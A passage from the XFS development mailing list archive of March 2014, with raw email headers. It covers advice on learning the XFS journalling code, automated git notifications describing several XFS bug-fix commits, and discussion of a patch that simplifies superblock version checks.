(cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B860830407F for ; Thu, 6 Mar 2014 20:19:35 -0800 (PST) X-ASG-Debug-ID: 1394165972-04bdf05dab33de40001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id v6uZx4Zu26Yv2HGR for ; Thu, 06 Mar 2014 20:19:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: As4oAJNHGVN5LJYe/2dsb2JhbABagwY7qQ8EkxCFXIEYF3SBWDIBGgEBAQIBATocFwwFCwgDEgYJJQ8FJQMNFBOHcQcOz2sWjEmBfAeEOASYQDeRdYNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 07 Mar 2014 14:49:31 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WLmFh-000867-Qo; Fri, 07 Mar 2014 15:19:17 +1100 Date: Fri, 7 Mar 2014 15:19:17 +1100 From: Dave Chinner To: Jeff Liu Cc: Yongmin , xfs@oss.sgi.com Subject: Re: Hello, I have a question about XFS File System Message-ID: <20140307041917.GP6851@dastard> X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> <20140306225947.GM6851@dastard> <53192DAA.1040305@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53192DAA.1040305@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1394165972 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3668 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 07, 2014 at 10:23:38AM +0800, Jeff Liu wrote: > > > On 03/07 2014 06:59 AM, Dave Chinner wrote: > > On Thu, Mar 06, 2014 at 06:15:27PM +0900, Yongmin wrote: > >> > >> Hello. > >> > >> My name is Yongmin Park and I am a graduated student in Ajou University (Korea). > >> My research area is Digital Forensics. > >> And this time i tried to understand the structure of XFS file system, because XFS is one of the famous huge file system in these days. > >> > >> I already founded and read 'XFS Filesystem Structure 2nd Edition Revision 1' on the Internet, which was written by Silicon Graphics Inc in 2006 and it is really well written to understand. > >> > >> But the concentrated part of mine is "Deleted File Recovery", so the Journaling part is really important for me,, but regretfully there are no specific guide line about Journaling part... > >> Also next version(maybe the 3re Edition) is not exsist for more than a 5 years. > >> > >> So is there no guide line for journaling part in XFS? > >> How can i get them,, have I to buy them? or Is Analysing Source Cord only way to study? > > > > There is some documentation about some of the logging concepts and > > design. eg: > > > > http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/xfs-documentation.git;a=blob;f=design/xfs-delayed-logging-design.asciidoc > > Not sure if someone else also think that XFS journal design is the stumbling-block > to get involved into the development...but I once heard of "I'm really confused by > the design of delayed logging, I have to give up after reading the document for about > 2 or 3 weeks..." from 2 Chinese developers in the past year, though nothing can help > someone out without taking infinite patience. Let me put it this way: it took me *5 years* of working deep in the XFS code to really understand how the XFS transaction and journalling subsystems are supposed to function. Delayed logging took me 3 failed design attempts over 3 years before I had learnt enough to come up with a design that worked. It's by far the most complex part of XFS - expecting to understand how it works by spending a couple of weeks reading the code is unrealistic. Fundamentally, understanding delayed logging means you have to first understand why relogging is necessary in the XFS journal. To understand why relogging is necessary, you first need to understand the transaction subsystem, the log space reservation subsystem, log recovery constraints, how tail pushing works, the physical log interface code, the on-disk log format, etc andhow they all interact. IOWs, delayed logging is the last thing in the journalling layer that anyone should try to understand because understanding it fully requires a high level of knoweldge about the XFS metadata and logging subsystem architecture and fundamental principles.... > > But the only way to learn about the actual structure of the log is to > > read the code and use xfs_logprint to study the contents of the log. > > To Yongmin, > > For your information only. > > I'm trying to understand XFS journal via the following steps: > > 1) Download Linux-2.6.34 source, read the journal code. > Understand the original design as there is no delayed-logging support at that time. Delayed logging changes neither the journal nor the transaction layer code or design. If you can't understand the fundamental principles behind those subsystems from the current code, then looking at the older code won't make it any clearer because it is exactly the same... > FYI, two obsoleted documents could be found at, > http://oss.sgi.com/projects/xfs/design_docs/xfsdocs93_pdf/log_mgr-overview.pdf > http://oss.sgi.com/projects/xfs/design_docs/xfsdocs93_pdf/log_mgr.pdf The first of those really doesn't contain much useful information. The second really only documents the physical log format. That might be useful as a first step, but it doesn't document any of the alogorithms that the log uses, and that is where all the complexity lies. Reading code will only get you so far - the only way to continue the learning process is by trying to modify the code and fixing what you break, along with asking questions about things you don't understand on the list so that people who do understand them can teach you things that aren't obvious from the code and aren't documented anywhere other than the code. Cheers, Dave. -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Thu Mar 6 23:24:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 176B67F51 for ; Thu, 6 Mar 2014 23:24:26 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id EEA05304062 for ; Thu, 6 Mar 2014 21:24:22 -0800 (PST) X-ASG-Debug-ID: 1394169860-04cb6c567531d4f0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id jMUuEA1KuKL6VyT6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 06 Mar 2014 21:24:21 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s275OHYl029627 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 7 Mar 2014 05:24:18 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s275OGvg015526 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Fri, 7 Mar 2014 05:24:16 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s275OFL8006983; Fri, 7 Mar 2014 05:24:15 GMT Received: from [192.168.1.102] (/60.212.7.247) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 06 Mar 2014 21:24:15 -0800 Message-ID: <531957E9.50903@oracle.com> Date: Fri, 07 Mar 2014 13:23:53 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: Yongmin , xfs@oss.sgi.com Subject: Re: Hello, I have a question about XFS File System References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> <20140306225947.GM6851@dastard> <53192DAA.1040305@oracle.com> <20140307041917.GP6851@dastard> X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System In-Reply-To: <20140307041917.GP6851@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1394169861 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3670 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 03/07 2014 12:19 PM, Dave Chinner wrote: > On Fri, Mar 07, 2014 at 10:23:38AM +0800, Jeff Liu wrote: >> >>> >>> There is some documentation about some of the logging concepts and >>> design. eg: >>> >>> http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/xfs-documentation.git;a=blob;f=design/xfs-delayed-logging-design.asciidoc >> >> Not sure if someone else also think that XFS journal design is the stumbling-block >> to get involved into the development...but I once heard of "I'm really confused by >> the design of delayed logging, I have to give up after reading the document for about >> 2 or 3 weeks..." from 2 Chinese developers in the past year, though nothing can help >> someone out without taking infinite patience. > > Let me put it this way: it took me *5 years* of working deep in the > XFS code to really understand how the XFS transaction and > journalling subsystems are supposed to function. Delayed logging > took me 3 failed design attempts over 3 years before I had learnt > enough to come up with a design that worked. It's by far the most > complex part of XFS - expecting to understand how it works by > spending a couple of weeks reading the code is unrealistic. Hah, this would help me relax a lot when I felt frustrating to understand something in XFS :-P. > Fundamentally, understanding delayed logging means you have to first > understand why relogging is necessary in the XFS journal. To > understand why relogging is necessary, you first need to understand > the transaction subsystem, the log space reservation subsystem, log > recovery constraints, how tail pushing works, the physical log > interface code, the on-disk log format, etc andhow they all > interact. > > IOWs, delayed logging is the last thing in the journalling layer > that anyone should try to understand because understanding it fully > requires a high level of knoweldge about the XFS metadata and > logging subsystem architecture and fundamental principles.... Thanks for the nice guidance. > >>> But the only way to learn about the actual structure of the log is to >>> read the code and use xfs_logprint to study the contents of the log. >> >> To Yongmin, >> >> For your information only. >> >> I'm trying to understand XFS journal via the following steps: >> >> 1) Download Linux-2.6.34 source, read the journal code. >> Understand the original design as there is no delayed-logging support at that time. > > Delayed logging changes neither the journal nor the transaction > layer code or design. If you can't understand the fundamental > principles behind those subsystems from the current code, then > looking at the older code won't make it any clearer because it is > exactly the same... > >> FYI, two obsoleted documents could be found at, >> http://oss.sgi.com/projects/xfs/design_docs/xfsdocs93_pdf/log_mgr-overview.pdf >> http://oss.sgi.com/projects/xfs/design_docs/xfsdocs93_pdf/log_mgr.pdf > > The first of those really doesn't contain much useful information. > > The second really only documents the physical log format. That might > be useful as a first step, but it doesn't document any of the > alogorithms that the log uses, and that is where all the complexity > lies. Actually, both documents are only a little useful to me when I began to understand the semantics of in-core logs. > > Reading code will only get you so far - the only way to continue the > learning process is by trying to modify the code and fixing what you > break, along with asking questions about things you don't understand > on the list so that people who do understand them can teach you > things that aren't obvious from the code and aren't documented > anywhere other than the code. Thanks, -Jeff From dgc@oss.sgi.com Thu Mar 6 23:44:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 9937E7F52; Thu, 6 Mar 2014 23:44:00 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-bug-fixes-for-3.15-2, created. xfs-for-linus-v3.14-rc1-2-12925-gfe4c224 X-Git-Refname: refs/heads/xfs-bug-fixes-for-3.15-2 X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: fe4c224aa1ffa4352849ac5f452de7132739bee2 Message-Id: <20140307054400.9937E7F52@oss.sgi.com> Date: Thu, 6 Mar 2014 23:43:58 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-bug-fixes-for-3.15-2 has been created at fe4c224aa1ffa4352849ac5f452de7132739bee2 (commit) - Log ----------------------------------------------------------------- commit fe4c224aa1ffa4352849ac5f452de7132739bee2 Author: Dave Chinner Date: Fri Mar 7 16:19:14 2014 +1100 xfs: inode log reservations are still too small Back in commit 23956703 ("xfs: inode log reservations are too small"), the reservation size was increased to take into account the difference in size between the in-memory BMBT block headers and the on-disk BMDR headers. This solved a transaction overrun when logging the inode size. Recently, however, we've seen a number of these same overruns on kernels with the above fix in it. All of them have been by 4 bytes, so we must still not be accounting for something correctly. Through inspection it turns out the above commit didn't take into account everything it should have. That is, it only accounts for a single log op_hdr structure, when it can actually require up to four op_hdrs - one for each region (log iovec) that is formatted. These regions are the inode log format header, the inode core, and the two forks that can be held in the literal area of the inode. This means we are not accounting for 36 bytes of log space that the transaction can use, and hence when we get inodes in certain formats with particular fragmentation patterns we can overrun the transaction. Fix this by adding the correct accounting for log op_headers in the transaction. Tested-by: Brian Foster Signed-off-by: Dave Chinner Reviewed-by: Eric Sandeen Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner commit a49935f200e24e95fffcc705014c4b60ad78ff1f Author: Dave Chinner Date: Fri Mar 7 16:19:14 2014 +1100 xfs: xfs_check_page_type buffer checks need help xfs_aops_discard_page() was introduced in the following commit: xfs: truncate delalloc extents when IO fails in writeback ... to clean up left over delalloc ranges after I/O failure in ->writepage(). generic/224 tests for this scenario and occasionally reproduces panics on sub-4k blocksize filesystems. The cause of this is failure to clean up the delalloc range on a page where the first buffer does not match one of the expected states of xfs_check_page_type(). If a buffer is not unwritten, delayed or dirty&mapped, xfs_check_page_type() stops and immediately returns 0. The stress test of generic/224 creates a scenario where the first several buffers of a page with delayed buffers are mapped & uptodate and some subsequent buffer is delayed. If the ->writepage() happens to fail for this page, xfs_aops_discard_page() incorrectly skips the entire page. This then causes later failures either when direct IO maps the range and finds the stale delayed buffer, or we evict the inode and find that the inode still has a delayed block reservation accounted to it. We can easily fix this xfs_aops_discard_page() failure by making xfs_check_page_type() check all buffers, but this breaks xfs_convert_page() more than it is already broken. Indeed, xfs_convert_page() wants xfs_check_page_type() to tell it if the first buffers on the pages are of a type that can be aggregated into the contiguous IO that is already being built. xfs_convert_page() should not be writing random buffers out of a page, but the current behaviour will cause it to do so if there are buffers that don't match the current specification on the page. Hence for xfs_convert_page() we need to: a) return "not ok" if the first buffer on the page does not match the specification provided to we don't write anything; and b) abort it's buffer-add-to-io loop the moment we come across a buffer that does not match the specification. Hence we need to fix both xfs_check_page_type() and xfs_convert_page() to work correctly with pages that have mixed buffer types, whilst allowing xfs_aops_discard_page() to scan all buffers on the page for a type match. Reported-by: Brian Foster Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner commit e480a7239723afe579060239564884d1fa4c9325 Author: Brian Foster Date: Fri Mar 7 16:19:14 2014 +1100 xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation The inode chunk allocation path can lead to deadlock conditions if a transaction is dirtied with an AGF (to fix up the freelist) for an AG that cannot satisfy the actual allocation request. This code path is written to try and avoid this scenario, but it can be reproduced by running xfstests generic/270 in a loop on a 512b fs. An example situation is: - process A attempts an inode allocation on AG 3, modifies the freelist, fails the allocation and ultimately moves on to AG 0 with the AG 3 AGF held - process B is doing a free space operation (i.e., truncate) and acquires the AG 0 AGF, waits on the AG 3 AGF - process A acquires the AG 0 AGI, waits on the AG 0 AGF (deadlock) The problem here is that process A acquired the AG 3 AGF while moving on to AG 0 (and releasing the AG 3 AGI with the AG 3 AGF held). xfs_dialloc() makes one pass through each of the AGs when attempting to allocate an inode chunk. The expectation is a clean transaction if a particular AG cannot satisfy the allocation request. xfs_ialloc_ag_alloc() is written to support this through use of the minalignslop allocation args field. When using the agi->agi_newino optimization, we attempt an exact bno allocation request based on the location of the previously allocated chunk. minalignslop is set to inform the allocator that we will require alignment on this chunk, and thus to not allow the request for this AG if the extra space is not available. Suppose that the AG in question has just enough space for this request, but not at the requested bno. xfs_alloc_fix_freelist() will proceed as normal as it determines the request should succeed, and thus it is allowed to modify the agf. xfs_alloc_ag_vextent() ultimately fails because the requested bno is not available. In response, the caller moves on to a NEAR_BNO allocation request for the same AG. The alignment is set, but the minalignslop field is never reset. This increases the overall requirement of the request from the first attempt. If this delta is the difference between allocation success and failure for the AG, xfs_alloc_fix_freelist() rejects this request outright the second time around and causes the allocation request to unnecessarily fail for this AG. To address this situation, reset the minalignslop field immediately after use and prevent it from leaking into subsequent requests. Signed-off-by: Brian Foster Reviewed-by: Mark Tinguely Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit ae687e58b3f09b1b3c0faf2cac8c27fbbefb5a48 Author: Dave Chinner Date: Fri Mar 7 16:19:14 2014 +1100 xfs: use NOIO contexts for vm_map_ram When we map pages in the buffer cache, we can do so in GFP_NOFS contexts. However, the vmap interfaces do not provide any method of communicating this information to memory reclaim, and hence we get lockdep complaining about it regularly and occassionally see hangs that may be vmap related reclaim deadlocks. We can also see these same problems from anywhere where we use vmalloc for a large buffer (e.g. attribute code) inside a transaction context. A typical lockdep report shows up as a reclaim state warning like so: [14046.101458] ================================= [14046.102850] [ INFO: inconsistent lock state ] [14046.102850] 3.14.0-rc4+ #2 Not tainted [14046.102850] --------------------------------- [14046.102850] inconsistent {RECLAIM_FS-ON-W} -> {IN-RECLAIM_FS-W} usage. [14046.102850] kswapd0/14 [HC0[0]:SC0[0]:HE1:SE1] takes: [14046.102850] (&xfs_dir_ilock_class){++++?+}, at: [<791a04bb>] xfs_ilock+0xff/0x16a [14046.102850] {RECLAIM_FS-ON-W} state was registered at: [14046.102850] [<7904cdb1>] mark_held_locks+0x81/0xe7 [14046.102850] [<7904d390>] lockdep_trace_alloc+0x5c/0xb4 [14046.102850] [<790c2c28>] kmem_cache_alloc_trace+0x2b/0x11e [14046.102850] [<790ba7f4>] vm_map_ram+0x119/0x3e6 [14046.102850] [<7914e124>] _xfs_buf_map_pages+0x5b/0xcf [14046.102850] [<7914ed74>] xfs_buf_get_map+0x67/0x13f [14046.102850] [<7917506f>] xfs_attr_rmtval_set+0x396/0x4d5 [14046.102850] [<7916e8bb>] xfs_attr_leaf_addname+0x18f/0x37d [14046.102850] [<7916ed9e>] xfs_attr_set_int+0x2f5/0x3e8 [14046.102850] [<7916eefc>] xfs_attr_set+0x6b/0x74 [14046.102850] [<79168355>] xfs_xattr_set+0x61/0x81 [14046.102850] [<790e5b10>] generic_setxattr+0x59/0x68 [14046.102850] [<790e4c06>] __vfs_setxattr_noperm+0x58/0xce [14046.102850] [<790e4d0a>] vfs_setxattr+0x8e/0x92 [14046.102850] [<790e4ddd>] setxattr+0xcf/0x159 [14046.102850] [<790e5423>] SyS_lsetxattr+0x88/0xbb [14046.102850] [<79268438>] sysenter_do_call+0x12/0x36 Now, we can't completely remove these traces - mainly because vm_map_ram() will do GFP_KERNEL allocation and that generates the above warning before we get into the reclaim code, but we can turn them all into false positive warnings. To do that, use the method that DM and other IO context code uses to avoid this problem: there is a process flag to tell memory reclaim not to do IO that we can set appropriately. That prevents GFP_KERNEL context reclaim being done from deep inside the vmalloc code in places we can't directly pass a GFP_NOFS context to. That interface has a pair of wrapper functions: memalloc_noio_save() and memalloc_noio_restore(). Adding them around vm_map_ram and the vzalloc call in kmem_alloc_large() will prevent deadlocks and most lockdep reports for this issue. Also, convert the vzalloc() call in kmem_alloc_large() to use __vmalloc() so that we can pass the correct gfp context to the data page allocation routine inside __vmalloc() so that it is clear that GFP_NOFS context is important to this vmalloc call. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner commit ac75a1f7a4af4dddcc1ac3c0778f0e3f75dc8f32 Author: Dave Chinner Date: Fri Mar 7 16:19:14 2014 +1100 xfs: don't leak EFSBADCRC to userspace While the verifier routines may return EFSBADCRC when a buffer has a bad CRC, we need to translate that to EFSCORRUPTED so that the higher layers treat the error appropriately and we return a consistent error to userspace. This fixes a xfs/005 regression. Signed-off-by: Dave Chinner Reviewed-by: Brian Foster Signed-off-by: Dave Chinner ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Thu Mar 6 23:44:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id E8D9C7F56; Thu, 6 Mar 2014 23:44:20 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.14-rc1-2-12959-g7161d06 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 14e637ca53fa257cbff7f73981dd87c457a6be1e X-Git-Newrev: 7161d06f73f1b3efabd717661a41ecebb4c48e6b Message-Id: <20140307054420.E8D9C7F56@oss.sgi.com> Date: Thu, 6 Mar 2014 23:44:19 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 7161d06 Merge branch 'xfs-bug-fixes-for-3.15-2' into for-next fe4c224 xfs: inode log reservations are still too small a49935f xfs: xfs_check_page_type buffer checks need help e480a72 xfs: avoid AGI/AGF deadlock scenario for inode chunk allocation ae687e5 xfs: use NOIO contexts for vm_map_ram ac75a1f xfs: don't leak EFSBADCRC to userspace from 14e637ca53fa257cbff7f73981dd87c457a6be1e (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 7161d06f73f1b3efabd717661a41ecebb4c48e6b Merge: 14e637c fe4c224 Author: Dave Chinner Date: Fri Mar 7 16:22:13 2014 +1100 Merge branch 'xfs-bug-fixes-for-3.15-2' into for-next ----------------------------------------------------------------------- Summary of changes: fs/xfs/kmem.c | 21 ++++++++++++- fs/xfs/xfs_aops.c | 81 ++++++++++++++++++++++++++++++------------------- fs/xfs/xfs_buf.c | 11 +++++++ fs/xfs/xfs_ialloc.c | 12 ++++++++ fs/xfs/xfs_mount.c | 3 ++ fs/xfs/xfs_symlink.c | 4 +++ fs/xfs/xfs_trans_buf.c | 11 +++++++ fs/xfs/xfs_trans_resv.c | 22 +++++++++----- 8 files changed, 126 insertions(+), 39 deletions(-) hooks/post-receive -- XFS development tree From david@fromorbit.com Fri Mar 7 02:34:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B1CB77F50 for ; Fri, 7 Mar 2014 02:34:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A88EB8F8070 for ; Fri, 7 Mar 2014 00:34:38 -0800 (PST) X-ASG-Debug-ID: 1394181273-04cb6c5676323dd0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id EccMcJGZVpBY6N9S for ; Fri, 07 Mar 2014 00:34:33 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlNfAIeDGVN5LJYePGdsb2JhbABagwaIUrQOhVyBDxcDAQEBAR8ZDSiCJQEBAQQnExwjEAgDDgcDCSUPBSUDBxoTh3jPRBcWjkUHhDgEmECVbSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 07 Mar 2014 19:04:32 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WLqEg-0000Ce-Bm; Fri, 07 Mar 2014 19:34:30 +1100 Date: Fri, 7 Mar 2014 19:34:30 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [RFC, PATCH] xfs: make superblock version checks reflect reality Message-ID: <20140307083430.GQ6851@dastard> X-ASG-Orig-Subj: Re: [RFC, PATCH] xfs: make superblock version checks reflect reality References: <1394088890-10713-1-git-send-email-david@fromorbit.com> <20140306180534.GA305@infradead.org> <20140306225541.GL6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140306225541.GL6851@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1394181273 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3673 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On Fri, Mar 07, 2014 at 09:55:41AM +1100, Dave Chinner wrote: > On Thu, Mar 06, 2014 at 10:05:34AM -0800, Christoph Hellwig wrote: > > On Thu, Mar 06, 2014 at 05:54:50PM +1100, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > We only support filesystems that have v2 directory support, and than > > > means all the checking and handling of superblock versions prior to > > > this support being added is completely unnecessary overhead. > > > > > > Strip out all the version 1-3 support, sanitise the good version > > > checking to reflect the supported versions, update all the feature > > > supported functions and clean up all the support bit definitions to > > > reflect the fact that we no longer care about Irix bootloader flag > > > regions for v4 feature bits. > > > > Good idea in general, I like it. ..... > > > static inline int xfs_sb_version_hasnlink(xfs_sb_t *sbp) > > > { > > > - return sbp->sb_versionnum == XFS_SB_VERSION_3 || > > > - (XFS_SB_VERSION_NUM(sbp) >= XFS_SB_VERSION_4 && > > > - (sbp->sb_versionnum & XFS_SB_VERSION_NLINKBIT)); > > > + return !!(sbp->sb_versionnum & XFS_SB_VERSION_NLINKBIT); > > > } > > > > As we reject filesystems without the nlink bit we should just be able > > to kill all code protected by xfs_sb_version_hasnlink checks, shouldn't > > we? > > Same for addnlink. > > dirv2 is another candidate. > > Yes, that's true - but I think those are good candidates for > separate patches that follow up on this one. Ok, we don't reject filesystems that don't have the NLINK bit set. Older filesystems that have only v1 inodes won't have that bit set, and we didn't set NLINK by default in mkfs until late 2007. Hence we need to keep some form of NLINK support around. The alternative is to simply set the bit in the superblock if it is not set, and then just assume everywhere that it is set and we are using v2 inodes. That will get rid of the hasnlink/addnlink code needed to modify the superblock when the link count goes above MAX_NLINK_1, and will result in filesystems always converting v1 inodes to v2 inodes on writeback of dirty inodes. I don't see a problem with taking this approach, bt maybe I'm missing something? For the dirv2 function, it's only used for checking at mount time, so if that is handled bu xfs_sb_good_version() we no longer need it.... Your thoughts? Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+1ca453cd194183cc91a8+3848+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 7 04:15:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 000647F50 for ; Fri, 7 Mar 2014 04:15:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D5D76304066 for ; Fri, 7 Mar 2014 02:15:33 -0800 (PST) X-ASG-Debug-ID: 1394187328-04cbb054b9133ea0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id z2nIPeVL7y8lbmas (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Mar 2014 02:15:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+1ca453cd194183cc91a8+3848+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WLroN-00018f-Pq; Fri, 07 Mar 2014 10:15:27 +0000 Date: Fri, 7 Mar 2014 02:15:27 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [RFC, PATCH] xfs: make superblock version checks reflect reality Message-ID: <20140307101527.GC32333@infradead.org> X-ASG-Orig-Subj: Re: [RFC, PATCH] xfs: make superblock version checks 